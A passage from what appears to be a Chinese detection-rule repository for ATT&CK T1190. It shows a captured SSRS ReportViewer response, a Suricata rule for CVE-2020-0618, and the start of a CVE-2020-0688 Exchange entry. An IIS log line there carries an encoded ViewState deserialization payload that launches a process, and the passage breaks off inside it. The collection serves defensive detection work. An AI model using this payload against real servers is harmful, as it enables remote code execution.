ACgs%3DHTTP/1.1 200 OK\nCache-Control: private\nContent-Length: 21744\nContent-Type: text/html; charset=utf-8\nServer: Microsoft-HTTPAPI/2.0\nX-AspNet-Version: 4.0.30319\nX-Content-Type-Options: nosniff\nDate: Wed, 28 Oct 2020 07:28:38 GMT---------\n<!DOCTYPE html>---------\n<html>\n <head id=\"headID\" lang=\"zh-CN\">\n <meta charset=\"utf-8\">---------\n <META HTTP-EQUIV=\"X-UA-Compatible\" CONTENT=\"IE=edge\">\n<title>\n  - ...............\n</title><link href=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Toolbar.css\" rel=\"stylesheet\" type=\"text/css\" /><link href=\"/ReportServer/Reserved.ReportServer?rs:command=StyleSheet&amp;Name=&amp;Version=2015.130.1601.05\" rel=\"stylesheet\" type=\"text/css\" /><link href=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jqueryui.min.css\" rel=\"stylesheet\" type=\"text/css\" /><link href=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Renderer.css\" rel=\"stylesheet\" type=\"text/css\" /><script language=\"Javascript\" type=\"text/Javascript\" src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jquery.min.js\"></script><script language=\"Javascript\" type=\"text/Javascript\" src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.jqueryui.min.js\"></script><script language=\"Javascript\" type=\"text/Javascript\" src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.knockoutjs.js\"></script><script language=\"Javascript\" type=\"text/Javascript\" src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.Html5Renderer.js\"></script><script language=\"Javascript\" type=\"text/Javascript\" src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Scripts.RSTelemetry.js\"></script><script type=\"text/javascript\">---------\n    var RS;\n    var RSTelemetry;---------\n    if (RS && RS.Telemetry) {\n        try {\n            RSTelemetry = new RS.Telemetry({\"Build\":\"13.0.1601.5\",\"Host\":\"ReportingServicesWebServer\",\"HashedInstanceId\":\"5C5FFF2BBFEF6D664EAD5BF70842D094353A8832B3179992C5EC4DDE2184CABF\",\"HashedUserId\":\"C84D026B4E5BB8F628490233444855EAD9537B0524EBE4BDD0243123612BE5AA\",\"ExternalUser\":\"True\",\"Edition\":\"Enterprise\"}, \"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&Version=13.0.1601.5&Name=Microsoft.ReportingServices.Rendering.HtmlRenderer.RendererResources.application-insights.js\");\n            RSTelemetry.trackPageView({ url: \"ReportViewer.aspx\" });\n        } catch (exception) {\n        }\n    }\n</script><script type=\"text/javascript\">\n    var RSTelemetry;---------\n    if (RSTelemetry) {\n        RSTelemetry.trackEvent(\"RS.ReportViewer.Render\", {\"TargetingHtml40\":\"False\",\"ItemPath\":\"8A5EDAB282632443219E051E4ADE2D1D5BBC671C781051BF1437897CBDFEA0F1\",\"UserAgent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)\"});\n    }\n</script></head>\n <body style=\"margin: 0px; overflow: auto\">\n  <form method=\"post\" action=\"./ReportViewer.aspx\" id=\"ReportViewerForm\" style=\"width:100%;height:100%\">\n<div class=\"aspNetHidden\">\n<input type=\"hidden\" name=\"__EVENTTARGET\" id=\"__EVENTTARGET\" value=\"\" />\n<input type=\"hidden\" name=\"__EVENTARGUMENT\" id=\"__EVENTARGUMENT\" value=\"\" />\n<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"/wEPDwULLTE0NjY0NTA2NjMPZBYGZg8WAh4EVGV4dAUQPCFET0NUWVBFIGh0bWw+CmQCAg8WAh4EbGFuZwUFemgtQ04WAgIBDxYCHwAFOAoJPE1FVEEgSFRUUC1FUVVJVj0iWC1VQS1Db21wYXRpYmxlIiBDT05URU5UPSJJRT1lZGdlIj4KZAIED2QWBAIED2QWBAIBDxYCHgVWYWx1ZWRkAgMPZBYCZg9kFgJmDxYCHwJkZAIFDxQrAAVkKClYU3lzdGVtLkd1aWQsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSQzY2FkYjE3NS1iZWRiLTQwYWItODBjMy0yZmRlNTUyN2RjZGQCARQrAAEUKwAEZhQrAAJkAgFkZGQWAgIBD2QWAmYPZBYCZg9kFgwCAQ8PFgIeB1Zpc2libGVoZGQCAg9kFgICAg8WAh8CBQVmYWxzZWQCAw8PFgIfA2hkZAIFD2QWAgICDxYCHwIFBWZhbHNlZAIGD2QWAmYPZBYCZg9kFgRmDw9kFgIeBXN0eWxlBRB2aXNpYmlsaXR5Om5vbmU7ZAIDD2QWBAIBDxYCHgdFbmFibGVkaGQCBA8WAh8CBQMxMDBkAgoPZBYCAgEPFgIfAgUFRmFsc2VkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYCBSNSZXBvcnRWaWV3ZXJDb250cm9sJFRvZ2dsZVBhcmFtJGltZwUdUmVwb3J0Vmlld2VyQ29udHJvbCRjdGwwNyRpbWf0vpO0oY4wb+zjEX8982bcJ0/OsD0dzgB1cDESwU5y3w==\" />\n</div>---------\n<script type=\"text/javascript\">\n//<![CDATA[\nvar theForm = document.forms['ReportViewerForm'];\nif (!theForm) {\n    theForm = document.ReportViewerForm;\n}\nfunction __doPostBack(eventTarget, eventArgument) {\n    if (!theForm.onsubmit || (theForm.onsubmit() != false)) {\n        theForm.__EVENTTARGET.value = eventTarget;\n        theForm.__EVENTARGUMENT.value = eventArgument;\n        theForm.submit();\n    }\n}\n//]]>\n</script>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n<script src=\"/ReportServer/WebResource.axd?d=Ov5TcDlIR4L3uboQTuCmOyzxZlFI87EVwA8MTt0A8wTF67-wLOBXf-8BRssABM-acy292vdKTSgkV9AebwBl1lMooRPgDOJ7xMleOnFfqS41&amp;t=636043007952281841\" type=\"text/javascript\"></script>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n<script src=\"/ReportServer/ScriptResource.axd?d=I-YMT-mFNzdk-lCC39WuU9DeqZWRtuKQhzp4BRmLR47qjd2cjJtu59tIr0QetErd6BK3J4s-w9e0_iHIIKtjQ7HyYZ5JPJhvyDPNiWa_ojbiQhLerZKO6_eaob_GIbUcv2hSZtJVQ8hws-pLFl1qo6yuo2K0k6_p6haC3fYd84zBeXNAeLHulYhWjz230GnN0&amp;t=ffffffffc7ae6e38\" type=\"text/javascript\"></script>\n<script src=\"/ReportServer/ScriptResource.axd?d=-Cdg2drN8Wy0xDKU0zwdQbsz0D8_dUbhvptrtPeLypB8J2b1rs47vWm0XPULZy1WnoFJ8h2SYnx5hySyh_w8BXo1ye0Ebu86eSnEcuuY3ZRnFhwIRGIxSZR0In84SuPhbW6_Ai6pvfl8zKkPNoFEsI2gIBfE9jB4NW4u58FyHv1ABwh8yUZX38IAAqNX3n3t0&amp;t=ffffffffc7ae6e38\" type=\"text/javascript\"></script>\n<script src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=ViewerScript\" type=\"text/javascript\"></script>\n<script src=\"/ReportServer/ScriptResource.axd?d=ILslaHEYwalu15zdv7Bw8t2xYgV30NzsfTAa0lR6jzGvfbtZy1Z_ffLoGlxI9bthCmRSJMegwrsYaUzHJbhlmlPLLuKr-v-MIHrzz9nSzIXUB0R_eI8VMcYyFNyZD_Wmr_UuVgS21fFlrBSnhF0IDKBnqgNVzdTxcV-oltrq3u01&amp;t=ffffffffc7ae6e38\" type=\"text/javascript\"></script>\n<div class=\"aspNetHidden\">---------\n <input type=\"hidden\" name=\"__VIEWSTATEGENERATOR\" id=\"__VIEWSTATEGENERATOR\" value=\"177045DE\" />\n</div>\n   <script type=\"text/javascript\">\n//<![CDATA[\nSys.WebForms.PageRequestManager._initialize('AjaxScriptManager', 'ReportViewerForm', ['tNavigationCorrector$ctl00','NavigationCorrector_ctl00','fReportViewerControl$ReportViewer','','fReportViewerControl$DocMap','','fReportViewerControl$ctl09$ReportArea',''], ['NavigationCorrector','NavigationCorrector'], ['ReportViewerControl$ctl09$ReportControl$ctl00',''], 0, '');\n//]]>\n</script>---------\n    <table cellspacing=\"0\" cellpadding=\"0\" width=\"100%\" height=\"100%\"><tr height=\"100%\"><td width=\"100%\">\n   <span><span id=\"ctl01_ctl00\" style=\"display:none;\"></span><script>\n- -----------------------------------------------------------------\n$addHandler(window, 'beforeunload', function() {Sys.WebForms.PageRequestManager.getInstance().abortPostBack();});---------\nSys.WebForms.PageRequestManager.getInstance().add_endRequest(function(sender, args) {\n    if (args.get_error() !== null) {\n        var label = $get('ctl01_ctl00');\n        label.style.display = '';\n        label.innerText = args.get_error().message;\n        label.textContent = label.innerText;\n    }\n});---------\nSys.WebForms.PageRequestManager.getInstance().add_beginRequest(function(sender, args) {$get('ctl01_ctl00').style.display = 'none';});---------\n</script></span><div id=\"NavigationCorrector\" style=\"display:none;\">\n <input type=\"hidden\" name=\"NavigationCorrector$ScrollPosition\" id=\"NavigationCorrector_ScrollPosition\" /><input type=\"hidden\" name=\"NavigationCorrector$ViewState\" id=\"NavigationCorrector_ViewState\" /><input type=\"hidden\" name=\"NavigationCorrector$PageState\" id=\"NavigationCorrector_PageState\" value=\"NeedsCorrection\" /><div id=\"NavigationCorrector_ctl00\">\n  <input type=\"hidden\" name=\"NavigationCorrector$NewViewState\" id=\"NavigationCorrector_NewViewState\" />\n </div>\n</div><noscript>\n &nbsp;............................................................................................................&nbsp;<a href=\"/ReportServer?&amp;rs:Command=Render&amp;rs:Format=HTML5&amp;rc:LinkTarget=_top&amp;rc:Javascript=false&amp;rc:Toolbar=false\">......</a>\n</noscript><div id=\"ReportViewerControl_ReportViewer\">\n <div id=\"ReportViewerControl\" onclick=\"if ($get(&#39;ReportViewerControl_ctl04&#39;) != null &amp;&amp; $get(&#39;ReportViewerControl_ctl04&#39;).control != null) $get(&#39;ReportViewerControl_ctl04&#39;).control.HideActiveDropDown();\" onactivate=\"if ($get(&#39;ReportViewerControl_ctl04&#39;) != null &amp;&amp; $get(&#39;ReportViewerControl_ctl04&#39;).control != null) $get(&#39;ReportViewerControl_ctl04&#39;).control.HideActiveDropDown();\" style=\"height:100%;width:100%;\">\n  <div id=\"ReportViewerControl_HttpHandlerMissingErrorMessage\" style=\"border-color:Red;border-width:2px;border-style:Solid;padding:10px;display:none;overflow:auto;font-size:.85em;\">\n   <h2>\n    ...........................\n   </h2><p>.................. Web ...... HTTP .................................... web.config ........................ &lt;add verb=&quot;*&quot; path=&quot;Reserved.ReportViewerWebControl.axd&quot; type = &quot;Microsoft.Reporting.WebForms.HttpHandler, ReportingServicesWebServer, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91&quot; /&gt; ......... web.config ......... system.web/httpHandlers ............... Internet Information Services 7 ........................ &lt;add name=&quot;ReportViewerWebControlHandler&quot; preCondition=&quot;integratedMode&quot; verb=&quot;*&quot; path=&quot;Reserved.ReportViewerWebControl.axd&quot; type=&quot;Microsoft.Reporting.WebForms.HttpHandler, ReportingServicesWebServer, Version=13.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91&quot; /&gt; ......... system.webServer/handlers .........</p>\n  </div><span id=\"ReportViewerControl_ctl03\"><input type=\"hidden\" name=\"ReportViewerControl$ctl03$ctl00\" id=\"ReportViewerControl_ctl03_ctl00\" /><input type=\"hidden\" name=\"ReportViewerControl$ctl03$ctl01\" id=\"ReportViewerControl_ctl03_ctl01\" /></span><input type=\"hidden\" name=\"ReportViewerControl$ctl10\" id=\"ReportViewerControl_ctl10\" /><input type=\"hidden\" name=\"ReportViewerControl$ctl11\" id=\"ReportViewerControl_ctl11\" /><div id=\"ReportViewerControl_AsyncWait\" style=\"background-color:White;opacity:0.7;position:absolute;display:none;filter:alpha(opacity=70);\">---------\n  </div><div id=\"ReportViewerControl_AsyncWait_Wait\" class=\"WaitControlBackground\" style=\"display:none;position:absolute;\">\n   <table height=\"100%\">\n    <tr>\n     <td width=\"32px\" height=\"32px\"><img src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Icons.SpinningWheel.gif\" alt=\"...............\" style=\"height:32px;width:32px;\" /></td><td class=\"WaitInfoCell\"><span class=\"WaitText\">...............</span><div class=\"CancelLinkDiv\">\n      <a class=\"CancelLinkText\" href=\"javascript:$get(&#39;ReportViewerControl_AsyncWait&#39;).control._cancelCurrentPostback();\">......</a>\n     </div></td>\n    </tr>\n   </table>\n  </div><input type=\"hidden\" name=\"ReportViewerControl$AsyncWait$HiddenCancelField\" id=\"ReportViewerControl_AsyncWait_HiddenCancelField\" value=\"False\" /><table cellpadding=\"0\" cellspacing=\"0\" id=\"ReportViewerControl_fixedTable\" style=\"table-layout:fixed;width:100%;height:100%;\">\n   <tr>\n    <td style=\"display:none;width:25%;\"></td><td style=\"display:none;width:6px;\"></td><td style=\"width:100%;\"></td>\n   </tr><tr id=\"ParametersRowReportViewerControl\" style=\"display:none;\">\n    <td colspan=\"3\"></td>\n   </tr><tr style=\"height:6px;font-size:2pt;display:none;\">\n    <td colspan=\"3\" class=\"SplitterNormal\" style=\"padding:0px;margin:0px;text-align:center;\"><div id=\"ReportViewerControl_ToggleParam\">\n     <input type=\"image\" name=\"ReportViewerControl$ToggleParam$img\" id=\"ReportViewerControl_ToggleParam_img\" title=\"............\" aria-live=\"polite\" src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapse.png\" alt=\"............\" align=\"middle\" onclick=\"void(0);\" style=\"cursor:pointer;\" /><input type=\"hidden\" name=\"ReportViewerControl$ToggleParam$store\" id=\"ReportViewerControl_ToggleParam_store\" /><input type=\"hidden\" name=\"ReportViewerControl$ToggleParam$collapse\" id=\"ReportViewerControl_ToggleParam_collapse\" value=\"false\" />\n    </div></td>\n   </tr><tr style=\"display:none;\">---------\n   </tr><tr>\n    <td style=\"vertical-align:top;width:25%;height:100%;display:none;\"><div style=\"width:100%;height:100%;\">\n     <div id=\"ReportViewerControl_DocMap\">\n      <div id=\"ReportViewerControl_ctl08\" style=\"display:none;\">\n       <input type=\"hidden\" name=\"ReportViewerControl$ctl08$ClientClickedId\" id=\"ReportViewerControl_ctl08_ClientClickedId\" />\n      </div>\n     </div>\n    </div></td><td class=\"SplitterNormal\" style=\"display:none;width:4px;padding:0px;margin:0px;height:100%;vertical-align:middle;\"><div id=\"ReportViewerControl_ctl07\">\n     <input type=\"image\" name=\"ReportViewerControl$ctl07$img\" id=\"ReportViewerControl_ctl07_img\" title=\".....................\" aria-live=\"polite\" src=\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource&amp;Version=13.0.1601.5&amp;Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapse.png\" alt=\".....................\" align=\"top\" onclick=\"void(0);\" style=\"cursor:pointer;\" /><input type=\"hidden\" name=\"ReportViewerControl$ctl07$store\" id=\"ReportViewerControl_ctl07_store\" /><input type=\"hidden\" name=\"ReportViewerControl$ctl07$collapse\" id=\"ReportViewerControl_ctl07_collapse\" value=\"false\" />\n    </div></td><td style=\"height:100%;vertical-align:top;\"><div id=\"ReportViewerControl_ctl09\" style=\"width:100%;overflow:auto;position:relative;\">\n     <div id=\"VisibleReportContentReportViewerControl_ctl09\" role=\"main\" style=\"display:none;\">---------\n     </div><div id=\"ReportViewerControl_ctl09_ReportArea\">\n      <div NewContentType=\"ReportingServices.WebFormsClient.ReportAreaContent.None\" ForNonReportContentArea=\"false\" id=\"ReportViewerControl_ctl09_VisibilityState\" style=\"visibility:none;\">\n       <input type=\"hidden\" name=\"ReportViewerControl$ctl09$VisibilityState$ctl00\" value=\"None\" />\n      </div><input type=\"hidden\" name=\"ReportViewerControl$ctl09$ScrollPosition\" id=\"ReportViewerControl_ctl09_ScrollPosition\" /><span id=\"ReportViewerControl_ctl09_Reserved_AsyncLoadTarget\"></span><div id=\"ReportViewerControl_ctl09_ReportControl\" style=\"display:none;\">\n       <span></span><input type=\"hidden\" name=\"ReportViewerControl$ctl09$ReportControl$ctl02\" /><input type=\"hidden\" name=\"ReportViewerControl$ctl09$ReportControl$ctl03\" /><input type=\"hidden\" name=\"ReportViewerControl$ctl09$ReportControl$ctl04\" id=\"ReportViewerControl_ctl09_ReportControl_ctl04\" value=\"100\" />\n      </div><div id=\"ReportViewerControl_ctl09_NonReportContent\" style=\"height:100%;width:100%;\">---------\n      </div>\n     </div>\n    </div></td>\n   </tr>\n  </table>\n </div>\n</div>\n    </td></tr></table>\n  - --------\n<script type=\"text/javascript\">\n//<![CDATA[\nSys.Application.add_init(function() {\n   - -----------------------------------------------------------------\nif (\n    typeof ReportingServices == 'undefined' ||\n    typeof ReportingServices.WebFormsClient == 'undefined' ||\n    typeof ReportingServices.WebFormsClient.ReportViewer == 'undefined')\n    Sys.UI.DomElement.setVisible($get('ReportViewerControl_HttpHandlerMissingErrorMessage'), true);\n    $create(ReportingServices.WebFormsClient.ReportViewer, {\"_internalViewerId\":\"ReportViewerControl_ctl03\",\"id\":\"ReportViewerControl\"}, null, null);\n});\nSys.Application.add_init(function() {\n    $create(ReportingServices.WebFormsClient._InternalReportViewer, {\"ActionParamId\":\"ReportViewerControl_ctl03_ctl01\",\"ActionTypeId\":\"ReportViewerControl_ctl03_ctl00\",\"BaseHeight\":\"100%\",\"BaseWidth\":\"100%\",\"BrowserModeId\":\"ReportViewerControl_ctl11\",\"DirectionCacheId\":\"ReportViewerControl_ctl10\",\"DocMapAreaId\":\"ReportViewerControl_ctl08\",\"DocMapHeaderOverflowDivId\":\"ReportViewerControl_ctl08DocMapHeaderOverflowDiv\",\"DocMapSplitterId\":\"ReportViewerControl_ctl07\",\"DocMapUpdatePanelId\":\"ReportViewerControl_DocMap\",\"FixedTableId\":\"ReportViewerControl_fixedTable\",\"HasSizingRow\":true,\"PostBackToClientScript\":function(){__doPostBack('ReportViewerControl$ctl03','');},\"PromptAreaRowId\":\"ParametersRowReportViewerControl\",\"PromptSplitterId\":\"ReportViewerControl_ToggleParam\",\"ReportAreaId\":\"ReportViewerControl_ctl09\",\"ReportViewerId\":\"ReportViewerControl\",\"TopLevelUpdatePanelId\":\"ReportViewerControl_ReportViewer\"}, null, null, $get(\"ReportViewerControl_ctl03\"));\n});\nSys.Application.add_init(function() {\n    $create(ReportingServices.WebFormsClient._AsyncWaitControl, {\"ClientCanceledId\":\"ReportViewerControl_AsyncWait_HiddenCancelField\",\"DisplayDelay\":1000,\"FixedTableId\":\"ReportViewerControl_fixedTable\",\"ReportViewerId\":\"ReportViewerControl\",\"SkipTimer\":true,\"TriggerIds\":[\"ReportViewerControl\"],\"WaitControlId\":\"ReportViewerControl_AsyncWait_Wait\"}, null, null, $get(\"ReportViewerControl_AsyncWait\"));\n});\nSys.Application.add_init(function() {\n    $create(ReportingServices.WebFormsClient._Splitter, {\"HoverStyle\":\"SplitterHover\",\"ImageCollapse\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapse.png\",\"ImageCollapseHover\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizCollapseHover.png\",\"ImageExpand\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizExpand.png\",\"ImageExpandHover\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterHorizExpandHover.png\",\"ImageId\":\"ReportViewerControl_ToggleParam_img\",\"IsCollapsable\":true,\"NormalStyle\":\"SplitterNormal\",\"Resizable\":false,\"StoreCollapseField\":\"ReportViewerControl_ToggleParam_collapse\",\"StorePositionField\":\"ReportViewerControl_ToggleParam_store\",\"TooltipCollapse\":\"............\",\"TooltipExpand\":\"............\",\"Vertical\":false}, null, null, $get(\"ReportViewerControl_ToggleParam\"));\n});\nSys.Application.add_init(function() {\n    $create(ReportingServices.WebFormsClient._Splitter, {\"HoverStyle\":\"SplitterHover\",\"ImageCollapse\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapse.png\",\"ImageCollapseHover\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertCollapseHover.png\",\"ImageExpand\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertExpand.png\",\"ImageExpandHover\":\"/ReportServer/Reserved.ReportViewerWebControl.axd?OpType=Resource\\u0026Version=13.0.1601.5\\u0026Name=Microsoft.Reporting.WebForms.Icons.SplitterVertExpandHover.png\",\"ImageId\":\"ReportViewerControl_ctl07_img\",\"IsCollapsable\":true,\"NormalStyle\":\"SplitterNormal\",\"Resizable\":true,\"StoreCollapseField\":\"ReportViewerControl_ctl07_collapse\",\"StorePositionField\":\"ReportViewerControl_ctl07_store\",\"TooltipCollapse\":\".....................\",\"TooltipExpand\":\".....................\",\"Vertical\":true}, null, null, $get(\"ReportViewerControl_ctl07\"));\n});\nSys.Application.add_init(function() {\n    $create(ReportingServices.WebFormsClient._ReportArea, {\"NonReportContentId\":\"ReportViewerControl_ctl09_NonReportContent\",\"ReportAreaVisibilityStateId\":\"ReportViewerControl_ctl09_VisibilityState\",\"ReportControlId\":\"ReportViewerControl_ctl09_ReportControl\",\"ScrollPositionId\":\"ReportViewerControl_ctl09_ScrollPosition\",\"VisibleReportContentContainerId\":\"VisibleReportContentReportViewerControl_ctl09\"}, null, null, $get(\"ReportViewerControl_ctl09\"));\n});\nSys.Application.add_init(function() {\n    $create(ReportingServices.WebFormsClient._ReportPage, {\"HiddenZoomLevelId\":\"ReportViewerControl_ctl09_ReportControl_ctl04\",\"StyleElementId\":\"ReportViewerControl_ctl09_ReportControl_styles\"}, null, null, $get(\"ReportViewerControl_ctl09_ReportControl\"));\n});\n//]]>\n</script>\n</form>\n  <script language=\"javascript\" type=\"text/javascript\">\nSys.WebForms.PageRequestManager.prototype._destroyTree = function(element) {\n    var allnodes = element.getElementsByTagName('*'),\n        length = allnodes.length;\n    var nodes = new Array(length);\n    for (var k = 0; k < length; k++) {\n        nodes[k] = allnodes[k];\n    }\n    for (var j = 0, l = nodes.length; j < l; j++) {\n        var node = nodes[j];\n        if (node.nodeType === 1) {\n            if (node.dispose && typeof (node.dispose) === \"function\") {\n                node.dispose();\n            }\n            else if (node.control && typeof (node.control.dispose) === \"function\") {\n                node.control.dispose();\n            }\n            var behaviors = node._behaviors;\n            if (behaviors) {\n                behaviors = Array.apply(null, behaviors);\n                for (var k = behaviors.length - 1; k >= 0; k--) {\n                    behaviors[k].dispose();\n                }\n            }\n        }\n    }\n}\n  </script>\n </body>\n</html>---------\n```\n- --------\n## 检测规则/思路---------\n### Suricata规则---------\n```\ns\nalert http any any -> any any (msg:\"CVE-2020-0618-Sql-server远程代码执行\";flow:established,to_server;content:\"POST\";http_method;content:\"/ReportServer/pages/ReportViewer.aspx\";http_uri;content:\"NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=\";http_client_body;reference:url,www.cnblogs.com/8gman/p/12323273.html;classtype:web-application-attck;sid:3002021;rev:1;)---------\n```\n- --------\n### 建议---------\n流量+安全设备比较容易检测到此攻击行为。---------\n## 参考推荐---------\nMITRE-ATT&CK-T1190---------\n<https://attack.mitre.org/techniques/T1190/>---------\nCVE-2020-0618 SQL Server远程代码执行---------\n<https://www.cnblogs.com/8gman/p/12323273.html>---------\n（CVE-2020-0618）sql2012远程代码执行漏洞修复---------\n<https://blog.51cto.com/shaonian/2472132>\n"
  },
  {
    "path": "Web/2020/T1190-CVE-2020-0688-Exchange漏洞利用检测.md",
    "content": "# T1190-CVE-2020-0688漏洞利用检测\n## 来自ATT&CK的描述\n使用软件，数据或命令来利用面向Internet的计算机系统或程序中的弱点，从而导致意外或无法预期的行为。系统的弱点可能是错误、故障或设计漏洞。这些应用程序通常是网站，但是可以包括数据库（例如SQL），标准服务（例如SMB 或SSH）以及具有Internet可访问开放的任何其他应用程序，例如Web服务器和相关服务。根据所利用的缺陷，这可能包括“利用防御防卫”。\n如果应用程序托管在基于云的基础架构上，则对其进行利用可能会导致基础实际应用受到损害。这可以使攻击者获得访问云API或利用弱身份和访问管理策略的路径。\n对于网站和数据库，OWASP排名前10位和CWE排名前25位突出了最常见的基于Web的漏洞。\n## CVE-2020-0688漏洞\nMicrosoft Exchange Server是微软公司一套支持多种电子邮件网络协议的电子邮件服务组件，除传统的电子邮件的存取、储存、转发作用外，在新版本的产品中亦加入了一系列辅助功能，如语音邮件、邮件过滤筛选和OWA（基于Web的电子邮件存取）。\n漏洞起于Microsoft Exchange服务器在安装时并没有正确创建唯一密钥，经过身份验证的攻击者可以欺骗目标服务器反序列化恶意创建的ViewState数据，使攻击者可以在Exchange Control Panel web应用上执行任意.net代码。\n## 测试案例\n具体复测可以参考\n- CVE-2020-0688：Exchange Server使用固定加密密钥远程代码执行漏洞修复通告：<https://www.anquanke.com/post/id/199772>\n- --------------------------------------------------------------------------------------------\n- CVE-2020-0688_微软EXCHANGE服务的远程代码执行漏洞复现：<https://www.cnblogs.com/pt007/p/12394722.html>\n## 检测日志\nHTTP流量、Windows sysmon日志、IIS日志、exchange日志\n## 测试复现\n可参考上述测试案例\n## 测试留痕\nHTTP流量检测规则基于payload关键词进行检测\nWindows sysmon日志检测规则基于payload关键词检测\nIIS日志检测规则，留痕如下：\n```\nyml\n2020-03-09 17:16:50 ::1 POST /owa/auth.owa &CorrelationID=<empty>;&cafeReqId=9cff6edd-19a9-43c0-bdd2-a94adef6dd0c; 443 HealthMailbox062c8b451f3a4e21aa98fd88e45f499e@mail163.com ::1 Mozilla/4.0+(compatible;+MSIE+9.0;+Windows+NT+6.1;+MSEXCHMON;+ACTIVEMONITORING;+OWACTP) - 302 0 0 0\n2020-03-09 17:16:58 172.*.*.27 GET /ecp/default.aspx __VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyhAYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAACmBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BY2FsYy5leGU8L1N5c3RlbTpTdHJpbmc%2BDQogICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM%2BDQogICAgPC9PYmplY3REYXRhUHJvdmlkZXI